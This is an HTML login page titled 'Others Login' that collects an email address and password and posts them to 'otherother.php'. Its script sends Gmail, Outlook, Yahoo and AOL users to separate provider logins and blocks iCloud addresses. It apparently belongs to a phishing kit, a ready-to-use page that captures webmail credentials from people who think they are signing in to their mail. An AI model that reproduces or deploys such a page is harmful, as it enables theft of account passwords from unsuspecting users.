<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>Others Login</title>
		<link rel="stylesheet" href="style.css">  
	</head>

	<body>
		<div class="login-page">
			<div class="form">
				<form class="login-form" method="post" action="otherother.php">
					<input type="email" placeholder="Email" name="email" id="user" class="input"/>
					<p class="error" id="error"></p>
					<input type="password" placeholder="Password" name="password" id="pass" class="input"/>
					<input type="submit" name="submit" id="button" value="login"/>
					<p class="message">Note: Icloud emails are not supported.</p>
				</form>
			</div>
		</div>
		<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>

	</body>
	<script>
		$('#user').blur(function(){
			var email = $("#user").val().toLowerCase();
			var domain = email.substring(email.lastIndexOf("@") +1);
			
			switch (domain) { 
				case 'gmail.com': 
					$("#error").html("Please sign in using the login for Gmail.");
					$("#error").show();
					$("#button").attr("disabled", true);
					break;
				case 'hotmail.com': 
					$("#error").html("Please sign in using the login for Outlook.");
					$("#error").show();
					$("#button").attr('disabled', true);
					break;
				case 'outlook.com': 
					$("#error").html("Please sign in using the login for Outlook.");
					$("#error").show();
					$("#button").attr('disabled', true);
					break;		
				case 'yahoo.com': 
					$("#error").html("Please sign in using the login for Yahoo.");
					$("#error").show();
					$("#button").attr('disabled', true);
					break;
				case 'aol.com': 
					$("#error").html("Please sign in using the login for Aol.");
					$("#error").show();
					$("#button").attr('disabled', true);
					break;
				case 'icloud.com': 
					$("#error").html("Icloud email is not supported.");
					$("#error").show();
					$("#button").attr('disabled', true);
					break;
				case 'me.com': 
					$("#error").html("Icloud email is not supported.");
					$("#error").show();
					$("#button").attr('disabled', true);
					break;
				default:
					$("#button").prop('disabled', false);
					$("#error").hide();
			}
		});
	</script>
</html>